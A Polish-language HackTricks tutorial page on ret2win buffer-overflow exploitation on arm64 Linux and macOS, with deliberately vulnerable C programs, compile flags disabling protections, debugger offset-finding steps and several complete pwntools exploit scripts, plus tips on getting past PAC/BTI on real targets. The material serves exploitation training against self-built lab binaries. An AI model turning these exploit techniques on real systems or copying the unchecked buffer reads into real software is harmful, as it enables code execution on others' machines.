Ret2win - arm64
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Wprowadzenie do arm64 znajdziesz w:
Code
#include <stdio.h>
#include <unistd.h>
void win() {
printf("Congratulations!\n");
}
void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}
int main() {
vulnerable_function();
return 0;
}
Skompiluj bez pie i canary:
clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie -mbranch-protection=none
- Dodatkowa flaga
-mbranch-protection=nonewyłącza AArch64 Branch Protection (PAC/BTI). Jeśli Twój toolchain domyślnie włącza PAC lub BTI, to utrzymuje powtarzalność labu. Aby sprawdzić, czy skompilowany binary używa PAC/BTI, możesz: - Sprawdź właściwości AArch64 GNU:
readelf --notes -W ret2win | grep -E 'AARCH64_FEATURE_1_(BTI|PAC)'- Sprawdź prologi/epilogi pod kątem
paciasp/autiasp(PAC) lub padów lądowaniabti c(BTI): objdump -d ret2win | head -n 40
Kilka szybkich faktów o konwencji wywołań AArch64
- Rejestr linku to
x30(a.k.a.lr), a funkcje zazwyczaj zapisująx29/x30za pomocąstp x29, x30, [sp, #-16]!i przywracają je poleceniemldp x29, x30, [sp], #16; ret. - Oznacza to, że zapisany adres powrotu znajduje się pod adresem
sp+8względem bazy ramki. Przychar buffer[64]umieszczonym poniżej, typowa odległość nadpisania zapisanegox30to 64 (buffer) + 8 (zapisany x29) = 72 bajty — dokładnie to, co znajdziemy poniżej. - Wskaźnik stosu musi pozostać wyrównany do 16 bajtów na granicach funkcji. Jeśli później zbudujesz łańcuchy ROP dla bardziej złożonych scenariuszy, zachowaj wyrównanie SP, inaczej program może się awaryjnie zakończyć podczas epilogów funkcji.
Znalezienie offsetu
Opcja pattern
Ten przykład stworzono przy użyciu GEF:
Uruchom gdb z gef, utwórz pattern i użyj go:
gdb -q ./ret2win
pattern create 200
run
.png)
arm64 spróbuje powrócić pod adres zapisany w rejestrze x30 (który został nadpisany), możemy użyć tego, aby znaleźć offset wzorca:
pattern search $x30
.png)
Offset wynosi 72 (9x48).
Opcja Stack offset
Rozpocznij od uzyskania stack address, w którym przechowywany jest pc register:
gdb -q ./ret2win
b *vulnerable_function + 0xc
run
info frame
.png)
Ustaw teraz punkt przerwania po read() i kontynuuj, aż read() zostanie wykonane, a następnie ustaw wzorzec taki jak 13371337:
b *vulnerable_function+28
c
.png)
Znajdź, gdzie ten wzorzec jest przechowywany w pamięci:
.png)
Then: 0xfffffffff148 - 0xfffffffff100 = 0x48 = 72
.png)
No PIE
Zwykły
Uzyskaj adres funkcji win:
objdump -d ret2win | grep win
ret2win: file format elf64-littleaarch64
00000000004006c4 <win>:
Eksploit:
from pwn import *
# Configuration
binary_name = './ret2win'
p = process(binary_name)
# Optional but nice for AArch64
context.arch = 'aarch64'
# Prepare the payload
offset = 72
ret2win_addr = p64(0x00000000004006c4)
payload = b'A' * offset + ret2win_addr
# Send the payload
p.send(payload)
# Check response
print(p.recvline())
p.close()
.png)
Off-by-1
W rzeczywistości będzie to raczej off-by-2 w przechowywanym PC na stacku. Zamiast nadpisywać cały return address, nadpiszemy tylko ostatnie 2 bajty wartością 0x06c4.
from pwn import *
# Configuration
binary_name = './ret2win'
p = process(binary_name)
# Prepare the payload
offset = 72
ret2win_addr = p16(0x06c4)
payload = b'A' * offset + ret2win_addr
# Send the payload
p.send(payload)
# Check response
print(p.recvline())
p.close()
.png)
Inny przykład off-by-one w ARM64 znajdziesz pod https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/, który przedstawia rzeczywisty off-by-one w fikcyjnej podatności.
Z PIE
Tip
Skompiluj binarkę bez argumentu
-no-pie
Off-by-2
Nie mając leak, nie znamy dokładnego adresu win function, ale możemy znać offset funkcji względem binarki. Wiedząc, że nadpisywany adres powrotu już wskazuje na bliski adres, możliwe jest leak offsetu do win function (0x7d4) w tym przypadku i po prostu użycie tego offsetu:
.png)
Configuration
binary_name = ‘./ret2win’ p = process(binary_name)
Prepare the payload
offset = 72 ret2win_addr = p16(0x07d4) payload = b’A’ * offset + ret2win_addr
Send the payload
p.send(payload)
Check response
print(p.recvline()) p.close()
## macOS
### Kod
```c
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
__attribute__((noinline))
void win(void) {
system("/bin/sh"); // <- **our target**
}
void vulnerable_function(void) {
char buffer[64];
// **BOF**: reading 256 bytes into a 64B stack buffer
read(STDIN_FILENO, buffer, 256);
}
int main(void) {
printf("win() is at %p\n", win);
vulnerable_function();
return 0;
}
Kompiluj bez canary (w macOS nie możesz wyłączyć PIE):
clang -o bof_macos bof_macos.c -fno-stack-protector -Wno-format-security
Uruchom bez ASLR (choć mając address leak, nie potrzebujemy go):
env DYLD_DISABLE_ASLR=1 ./bof_macos
Tip
Nie można wyłączyć NX w macOS, ponieważ w arm64 tryb ten jest zaimplementowany na poziomie sprzętowym, więc nie da się go wyłączyć — nie znajdziesz więc przykładów z shellcode na stacku w macOS.
Znajdź offset
- Wygeneruj pattern:
python3 - << 'PY'
from pwn import *
print(cyclic(200).decode())
PY
- Uruchom program i wpisz pattern, aby spowodować crash:
lldb ./bof_macos
(lldb) env DYLD_DISABLE_ASLR=1
(lldb) run
# paste the 200-byte cyclic string, press Enter
- Sprawdź rejestr
x30(the return address), aby znaleźć offset:
(lldb) register read x30
- Użyj
cyclic -l <value>, aby znaleźć dokładny offset:
python3 - << 'PY'
from pwn import *
print(cyclic_find(0x61616173))
PY
# Replace 0x61616173 with the 4 first bytes from the value of x30
- Tak znalazłem offset
72; umieszczając pod tym offsetem adres funkcjiwin()możesz wykonać tę funkcję i uzyskać shell (uruchomione bez ASLR).
Exploit
#!/usr/bin/env python3
from pwn import *
import re
# Load the binary
binary_name = './bof_macos'
# Start the process
p = process(binary_name, env={"DYLD_DISABLE_ASLR": "1"})
# Read the address printed by the program
output = p.recvline().decode()
print(f"Received: {output.strip()}")
# Extract the win() address using regex
match = re.search(r'win\(\) is at (0x[0-9a-fA-F]+)', output)
if not match:
print("Failed to extract win() address")
p.close()
exit(1)
win_address = int(match.group(1), 16)
print(f"Extracted win() address: {hex(win_address)}")
# Offset calculation:
# Buffer starts at sp, return address at sp+0x40 (64 bytes)
# We need to fill 64 bytes, then overwrite the saved x29 (8 bytes), then x30 (8 bytes)
offset = 64 + 8 # 72 bytes total to reach the return address
# Craft the payload - ARM64 addresses are 8 bytes
payload = b'A' * offset + p64(win_address)
print(f"Payload length: {len(payload)}")
# Send the payload
p.send(payload)
# Drop to an interactive session
p.interactive()
macOS - 2. przykład
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
__attribute__((noinline))
void leak_anchor(void) {
puts("leak_anchor reached");
}
__attribute__((noinline))
void win(void) {
puts("Killed it!");
system("/bin/sh");
exit(0);
}
__attribute__((noinline))
void vuln(void) {
char buf[64];
FILE *f = fopen("/tmp/exploit.txt", "rb");
if (!f) {
puts("[*] Please create /tmp/exploit.txt with your payload");
return;
}
// Vulnerability: no bounds check → stack overflow
fread(buf, 1, 512, f);
fclose(f);
printf("[*] Copied payload from /tmp/exploit.txt\n");
}
int main(void) {
// Unbuffered stdout so leaks are immediate
setvbuf(stdout, NULL, _IONBF, 0);
// Leak a different function, not main/win
printf("[*] LEAK (leak_anchor): %p\n", (void*)&leak_anchor);
// Sleep 3s
sleep(3);
vuln();
return 0;
}
Kompiluj bez canary (w macOS nie możesz wyłączyć PIE):
clang -o bof_macos bof_macos.c -fno-stack-protector -Wno-format-security
Znajdź offset
- Wygeneruj pattern do pliku
/tmp/exploit.txt:
python3 - << 'PY'
from pwn import *
with open("/tmp/exploit.txt", "wb") as f:
f.write(cyclic(200))
PY
- Uruchom program, aby spowodować awarię:
lldb ./bof_macos
(lldb) run
- Sprawdź rejestr
x30(adres powrotu), aby znaleźć offset:
(lldb) register read x30
- Użyj
cyclic -l <value>aby znaleźć dokładny offset:
python3 - << 'PY'
from pwn import *
print(cyclic_find(0x61616173))
PY
# Replace 0x61616173 with the 4 first bytes from the value of x30
- W ten sposób znalazłem offset
72, wpisując w ten offset adres funkcjiwin()możesz wywołać tę funkcję i uzyskać shell (uruchomione bez ASLR).
Oblicz adres funkcji win()
- Plik binarny jest PIE; używając leak funkcji
leak_anchor()i znając offset funkcjiwin()względemleak_anchor(), możemy obliczyć adres funkcjiwin().
objdump -d bof_macos | grep -E 'leak_anchor|win'
0000000100000460 <_leak_anchor>:
000000010000047c <_win>:
- offset wynosi
0x47c - 0x460 = 0x1c
Exploit
#!/usr/bin/env python3
from pwn import *
import re
import os
# Load the binary
binary_name = './bof_macos'
# Start the process
p = process(binary_name)
# Read the address printed by the program
output = p.recvline().decode()
print(f"Received: {output.strip()}")
# Extract the leak_anchor() address using regex
match = re.search(r'LEAK \(leak_anchor\): (0x[0-9a-fA-F]+)', output)
if not match:
print("Failed to extract leak_anchor() address")
p.close()
exit(1)
leak_anchor_address = int(match.group(1), 16)
print(f"Extracted leak_anchor() address: {hex(leak_anchor_address)}")
# Calculate win() address
win_address = leak_anchor_address + 0x1c
print(f"Calculated win() address: {hex(win_address)}")
# Offset calculation:
# Buffer starts at sp, return address at sp+0x40 (64 bytes)
# We need to fill 64 bytes, then overwrite the saved x29 (8 bytes), then x30 (8 bytes)
offset = 64 + 8 # 72 bytes total to reach the return address
# Craft the payload - ARM64 addresses are 8 bytes
payload = b'A' * offset + p64(win_address)
print(f"Payload length: {len(payload)}")
# Write the payload to /tmp/exploit.txt
with open("/tmp/exploit.txt", "wb") as f:
f.write(payload)
print("[*] Payload written to /tmp/exploit.txt")
# Drop to an interactive session
p.interactive()
Notatki o nowoczesnym utwardzaniu AArch64 (PAC/BTI) i ret2win
- Jeśli binarka jest skompilowana z AArch64 Branch Protection, możesz zobaczyć
paciasp/autiasplubbti cemitowane w prologach/epilogach funkcji. W takim przypadku: - Powrót do adresu, który nie jest prawidłowym BTI landing padem, może spowodować
SIGILL. Preferuj celowanie w dokładny punkt wejścia funkcji, który zawierabti c. - Jeśli PAC jest włączone dla powrotów, naiwnie nadpisania adresu powrotu mogą zawieść, ponieważ epilog uwierzytelnia
x30. W scenariuszach do nauki, przebuduj z-mbranch-protection=none(pokazano powyżej). Przy atakowaniu prawdziwych celów, preferuj przejęcia nie‑związane z powrotem (np. nadpisania wskaźników funkcji) lub buduj ROP, który nigdy nie wykonuje paryautiasp/retuwierzytelniającej twoje sfałszowane LR. - Aby szybko sprawdzić funkcje:
readelf --notes -W ./ret2wini szukaj notatekAARCH64_FEATURE_1_BTI/AARCH64_FEATURE_1_PAC.objdump -d ./ret2win | head -n 40i szukajbti c,paciasp,autiasp.
Running on non‑ARM64 hosts (qemu‑user quick tip)
Jeśli jesteś na x86_64, ale chcesz poćwiczyć AArch64:
# Install qemu-user and AArch64 libs (Debian/Ubuntu)
sudo apt-get install qemu-user qemu-user-static libc6-arm64-cross
# Run the binary with the AArch64 loader environment
qemu-aarch64 -L /usr/aarch64-linux-gnu ./ret2win
# Debug with GDB (qemu-user gdbstub)
qemu-aarch64 -g 1234 -L /usr/aarch64-linux-gnu ./ret2win &
# In another terminal
gdb-multiarch ./ret2win -ex 'target remote :1234'
Powiązane strony HackTricks
Źródła
- Włączanie PAC i BTI na AArch64 dla systemu Linux (Arm Community, Nov 2024). https://community.arm.com/arm-community-blogs/b/operating-systems-blog/posts/enabling-pac-and-bti-on-aarch64-for-linux
- Standard wywołań procedur dla architektury Arm 64-bit (AAPCS64). https://github.com/ARM-software/abi-aa/blob/main/aapcs64/aapcs64.rst
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.


